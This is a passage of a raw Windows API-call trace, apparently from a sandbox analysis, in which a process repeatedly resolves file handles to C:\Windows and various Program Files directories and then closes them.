lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Uninstall Information") returned 0x30 [0060.979] CloseHandle (hObject=0xc4) returned 1 [0060.979] GetFileType (hFile=0x128) returned 0x1 [0060.979] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0060.980] CloseHandle (hObject=0x128) returned 1 [0060.980] GetFileType (hFile=0xc4) returned 0x1 [0060.980] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Common Files") returned 0x21 [0060.981] CloseHandle (hObject=0xc4) returned 1 [0060.981] GetFileType (hFile=0x128) returned 0x1 [0060.981] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0060.983] CloseHandle (hObject=0x128) returned 1 [0060.983] GetFileType (hFile=0xc4) returned 0x1 [0060.983] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Microsoft Visual Studio 8") returned 0x34 [0060.984] CloseHandle (hObject=0xc4) returned 1 [0060.984] GetFileType (hFile=0x128) returned 0x1 [0060.984] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0060.985] CloseHandle (hObject=0x128) returned 1 [0060.985] GetFileType (hFile=0xc4) returned 0x1 [0060.985] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Portable Devices") returned 0x33 [0060.986] CloseHandle (hObject=0xc4) returned 1 [0060.986] GetFileType (hFile=0x128) returned 0x1 [0060.987] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0060.988] CloseHandle (hObject=0x128) returned 1 [0060.988] GetFileType (hFile=0xc4) returned 0x1 [0060.988] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Common Files") returned 0x27 [0060.989] CloseHandle (hObject=0xc4) returned 1 [0060.989] GetFileType (hFile=0x128) returned 0x1 [0060.989] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0060.990] CloseHandle (hObject=0x128) returned 1 [0060.990] GetFileType (hFile=0xc4) returned 0x1 [0060.991] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Office") returned 0x25 [0060.992] CloseHandle (hObject=0xc4) returned 1 [0060.992] GetFileType (hFile=0x128) returned 0x1 [0060.992] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0061.040] CloseHandle (hObject=0x128) returned 1 [0061.041] GetFileType (hFile=0xc4) returned 0x1 [0061.041] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft SQL Server Compact Edition") returned 0x39 [0061.042] CloseHandle (hObject=0xc4) returned 1 [0061.042] GetFileType (hFile=0x128) returned 0x1 [0061.042] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0061.043] CloseHandle (hObject=0x128) returned 1 [0061.043] GetFileType (hFile=0xc4) returned 0x1 [0061.044] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Uninstall Information") returned 0x30 [0061.044] CloseHandle (hObject=0xc4) returned 1 [0061.045] GetFileType (hFile=0x128) returned 0x1 [0061.045] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0061.046] CloseHandle (hObject=0x128) returned 1 [0061.046] GetFileType (hFile=0xc4) returned 0x1 [0061.046] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Microsoft Office") returned 0x2b [0061.047] CloseHandle (hObject=0xc4) returned 1 [0061.047] GetFileType (hFile=0x128) returned 0x1 [0061.047] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0061.048] CloseHandle (hObject=0x128) returned 1 [0061.049] GetFileType (hFile=0xc4) returned 0x1 [0061.049] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\MSBuild") returned 0x1c [0061.050] CloseHandle (hObject=0xc4) returned 1 [0061.050] GetFileType (hFile=0x128) returned 0x1 [0061.050] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0061.051] CloseHandle (hObject=0x128) returned 1 [0061.051] GetFileType (hFile=0xc4) returned 0x1 [0061.051] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Synchronization Services") returned 0x37 [0061.052] CloseHandle (hObject=0xc4) returned 1 [0061.052] GetFileType (hFile=0x128) returned 0x1 [0061.053] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0061.054] CloseHandle (hObject=0x128) returned 1 [0061.054] GetFileType (hFile=0xc4) returned 0x1 [0061.054] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\MSBuild") returned 0x22 [0061.055] CloseHandle (hObject=0xc4) returned 1 [0061.056] GetFileType (hFile=0x128) returned 0x1 [0061.056] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0061.057] CloseHandle (hObject=0x128) returned 1 [0061.057] GetFileType (hFile=0xc4) returned 0x1 [0061.058] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Microsoft.NET") returned 0x28 [0061.058] CloseHandle (hObject=0xc4) returned 1 [0061.059] GetFileType (hFile=0x128) returned 0x1 [0061.059] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0061.060] CloseHandle (hObject=0x128) returned 1 [0061.060] GetFileType (hFile=0xc4) returned 0x1 [0061.060] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Portable Devices") returned 0x2d [0061.061] CloseHandle (hObject=0xc4) returned 1 [0061.061] GetFileType (hFile=0x128) returned 0x1 [0061.061] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0061.063] CloseHandle (hObject=0x128) returned 1 [0061.063] GetFileType (hFile=0xc4) returned 0x1 [0061.063] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Defender") returned 0x2b [0061.064] CloseHandle (hObject=0xc4) returned 1 [0061.064] GetFileType (hFile=0x128) returned 0x1 [0061.064] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0061.065] CloseHandle (hObject=0x128) returned 1 [0061.065] GetFileType (hFile=0xc4) returned 0x1 [0061.066] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Mozilla Firefox") returned 0x2a [0061.066] CloseHandle (hObject=0xc4) returned 1 [0061.067] GetFileType (hFile=0x128) returned 0x1 [0061.067] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0061.068] CloseHandle (hObject=0x128) returned 1 [0061.068] GetFileType (hFile=0xc4) returned 0x1 [0061.068] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\MSBuild") returned 0x1c [0061.069] CloseHandle (hObject=0xc4) returned 1 [0061.069] GetFileType (hFile=0x128) returned 0x1 [0061.069] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0061.070] CloseHandle (hObject=0x128) returned 1 [0061.071] GetFileType (hFile=0xc4) returned 0x1 [0061.071] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Defender") returned 0x2b [0061.072] CloseHandle (hObject=0xc4) returned 1 [0061.072] GetFileType (hFile=0x128) returned 0x1 [0061.072] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0061.073] CloseHandle (hObject=0x128) returned 1 [0061.073] GetFileType (hFile=0xc4) returned 0x1 [0061.074] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Uninstall Information") returned 0x30 [0061.074] CloseHandle (hObject=0xc4) returned 1 [0061.075] GetFileType (hFile=0x128) returned 0x1 [0061.075] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0061.076] CloseHandle (hObject=0x128) returned 1 [0061.076] GetFileType (hFile=0xc4) returned 0x1 [0061.076] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Photo Viewer") returned 0x2f [0061.077] CloseHandle (hObject=0xc4) returned 1 [0061.078] GetFileType (hFile=0x128) returned 0x1 [0061.078] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0061.079] CloseHandle (hObject=0x128) returned 1 [0061.079] GetFileType (hFile=0xc4) returned 0x1 [0061.079] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Defender") returned 0x2b [0061.080] CloseHandle (hObject=0xc4) returned 1 [0061.080] GetFileType (hFile=0x128) returned 0x1 [0061.080] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0061.081] CloseHandle (hObject=0x128) returned 1 [0061.082] GetFileType (hFile=0xc4) returned 0x1 [0061.082] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Microsoft Office") returned 0x2b [0061.083] CloseHandle (hObject=0xc4) returned 1 [0061.083] GetFileType (hFile=0x128) returned 0x1 [0061.083] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0061.084] CloseHandle (hObject=0x128) returned 1 [0061.084] GetFileType (hFile=0xc4) returned 0x1 [0061.084] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Microsoft Office") returned 0x2b [0061.085] CloseHandle (hObject=0xc4) returned 1 [0061.085] GetFileType (hFile=0x128) returned 0x1 [0061.085] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0061.213] CloseHandle (hObject=0x128) returned 1 [0061.213] GetFileType (hFile=0xc4) returned 0x1 [0061.213] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Media Player") returned 0x29 [0061.214] CloseHandle (hObject=0xc4) returned 1 [0061.214] GetFileType (hFile=0x128) returned 0x1 [0061.214] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0061.216] CloseHandle (hObject=0x128) returned 1 [0061.216] GetFileType (hFile=0xc4) returned 0x1 [0061.216] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Office") returned 0x25 [0061.217] CloseHandle (hObject=0xc4) returned 1 [0061.217] GetFileType (hFile=0x128) returned 0x1 [0061.217] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0061.218] CloseHandle (hObject=0x128) returned 1 [0061.219] GetFileType (hFile=0xc4) returned 0x1 [0061.219] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Internet Explorer") returned 0x2c [0061.220] CloseHandle (hObject=0xc4) returned 1 [0061.220] GetFileType (hFile=0x128) returned 0x1 [0061.220] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0061.221] CloseHandle (hObject=0x128) returned 1 [0061.221] GetFileType (hFile=0xc4) returned 0x1 [0061.221] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Microsoft.NET") returned 0x28 [0061.222] CloseHandle (hObject=0xc4) returned 1 [0061.222] GetFileType (hFile=0x128) returned 0x1 [0061.223] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0061.224] CloseHandle (hObject=0x128) returned 1 [0061.224] GetFileType (hFile=0xc4) returned 0x1 [0061.224] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Analysis Services") returned 0x30 [0061.225] CloseHandle (hObject=0xc4) returned 1 [0061.225] GetFileType (hFile=0x128) returned 0x1 [0061.225] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0061.226] CloseHandle (hObject=0x128) returned 1 [0061.226] GetFileType (hFile=0xc4) returned 0x1 [0061.227] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Mozilla Maintenance Service") returned 0x36 [0061.228] CloseHandle (hObject=0xc4) returned 1 [0061.228] GetFileType (hFile=0x128) returned 0x1 [0061.228] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0061.229] CloseHandle (hObject=0x128) returned 1 [0061.229] GetFileType (hFile=0xc4) returned 0x1 [0061.229] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\MSBuild") returned 0x22 [0061.230] CloseHandle (hObject=0xc4) returned 1 [0061.231] GetFileType (hFile=0x128) returned 0x1 [0061.231] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0061.232] CloseHandle (hObject=0x128) returned 1 [0061.232] GetFileType (hFile=0xc4) returned 0x1 [0061.232] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Synchronization Services") returned 0x37 [0061.233] CloseHandle (hObject=0xc4) returned 1 [0061.233] GetFileType (hFile=0x128) returned 0x1 [0061.233] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0061.234] CloseHandle (hObject=0x128) returned 1 [0061.234] GetFileType (hFile=0xc4) returned 0x1 [0061.234] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Office") returned 0x25 [0061.235] CloseHandle (hObject=0xc4) returned 1 [0061.235] GetFileType (hFile=0x128) returned 0x1 [0061.236] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0061.237] CloseHandle (hObject=0x128) returned 1 [0061.237] GetFileType (hFile=0xc4) returned 0x1 [0061.237] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft SQL Server Compact Edition") returned 0x39 [0061.238] CloseHandle (hObject=0xc4) returned 1 [0061.238] GetFileType (hFile=0x128) returned 0x1 [0061.238] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0061.239] CloseHandle (hObject=0x128) returned 1 [0061.240] GetFileType (hFile=0xc4) returned 0x1 [0061.240] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Internet Explorer") returned 0x2c [0061.240] CloseHandle (hObject=0xc4) returned 1 [0061.241] GetFileType (hFile=0x128) returned 0x1 [0061.241] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0061.242] CloseHandle (hObject=0x128) returned 1 [0061.242] GetFileType (hFile=0xc4) returned 0x1 [0061.251] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Internet Explorer") returned 0x2c [0061.253] CloseHandle (hObject=0xc4) returned 1 [0061.253] GetFileType (hFile=0x128) returned 0x1 [0061.253] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0061.254] CloseHandle (hObject=0x128) returned 1 [0061.254] GetFileType (hFile=0xc4) returned 0x1 [0061.255] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Reference Assemblies") returned 0x2f [0061.256] CloseHandle (hObject=0xc4) returned 1 [0061.256] GetFileType (hFile=0x128) returned 0x1 [0061.256] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0061.257] CloseHandle (hObject=0x128) returned 1 [0061.257] GetFileType (hFile=0xc4) returned 0x1 [0061.257] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Mozilla Maintenance Service") returned 0x36 [0061.309] CloseHandle (hObject=0xc4) returned 1 [0061.309] GetFileType (hFile=0x128) returned 0x1 [0061.309] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0061.311] CloseHandle (hObject=0x128) returned 1 [0061.312] GetFileType (hFile=0xc4) returned 0x1 [0061.312] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Adobe") returned 0x20 [0061.313] CloseHandle (hObject=0xc4) returned 1 [0061.313] GetFileType (hFile=0x128) returned 0x1 [0061.313] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0061.315] CloseHandle (hObject=0x128) returned 1 [0061.315] GetFileType (hFile=0xc4) returned 0x1 [0061.315] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Analysis Services") returned 0x30 [0061.316] CloseHandle (hObject=0xc4) returned 1 [0061.316] GetFileType (hFile=0x128) returned 0x1 [0061.316] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0061.317] CloseHandle (hObject=0x128) returned 1 [0061.317] GetFileType (hFile=0xc4) returned 0x1 [0061.317] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Common Files") returned 0x21 [0061.318] CloseHandle (hObject=0xc4) returned 1 [0061.318] GetFileType (hFile=0x128) returned 0x1 [0061.319] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0061.320] CloseHandle (hObject=0x128) returned 1 [0061.320] GetFileType (hFile=0xc4) returned 0x1 [0061.320] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Uninstall Information") returned 0x30 [0061.321] CloseHandle (hObject=0xc4) returned 1 [0061.321] GetFileType (hFile=0x128) returned 0x1 [0061.321] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0061.322] CloseHandle (hObject=0x128) returned 1 [0061.322] GetFileType (hFile=0xc4) returned 0x1 [0061.322] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft SQL Server Compact Edition") returned 0x39 [0061.323] CloseHandle (hObject=0xc4) returned 1 [0061.323] GetFileType (hFile=0x128) returned 0x1 [0061.323] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0061.325] CloseHandle (hObject=0x128) returned 1 [0061.325] GetFileType (hFile=0xc4) returned 0x1 [0061.325] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Media Player") returned 0x29 [0061.326] CloseHandle (hObject=0xc4) returned 1 [0061.326] GetFileType (hFile=0x128) returned 0x1 [0061.326] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0061.327] CloseHandle (hObject=0x128) returned 1 [0061.327] GetFileType (hFile=0xc4) returned 0x1 [0061.327] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Office") returned 0x25 [0061.328] CloseHandle (hObject=0xc4) returned 1 [0061.328] GetFileType (hFile=0x128) returned 0x1 [0061.328] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0061.329] CloseHandle (hObject=0x128) returned 1 [0061.330] GetFileType (hFile=0xc4) returned 0x1 [0061.330] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Internet Explorer") returned 0x2c [0061.331] CloseHandle (hObject=0xc4) returned 1 [0061.331] GetFileType (hFile=0x128) returned 0x1 [0061.331] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0061.332] CloseHandle (hObject=0x128) returned 1 [0061.332] GetFileType (hFile=0xc4) returned 0x1 [0061.332] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Photo Viewer") returned 0x2f [0061.334] CloseHandle (hObject=0xc4) returned 1 [0061.334] GetFileType (hFile=0x128) returned 0x1 [0061.334] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0061.335] CloseHandle (hObject=0x128) returned 1 [0061.335] GetFileType (hFile=0xc4) returned 0x1 [0061.335] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Portable Devices") returned 0x33 [0061.336] CloseHandle (hObject=0xc4) returned 1 [0061.336] GetFileType (hFile=0x128) returned 0x1 [0061.337] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0061.337] CloseHandle (hObject=0x128) returned 1 [0061.338] GetFileType (hFile=0xc4) returned 0x1 [0061.338] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, 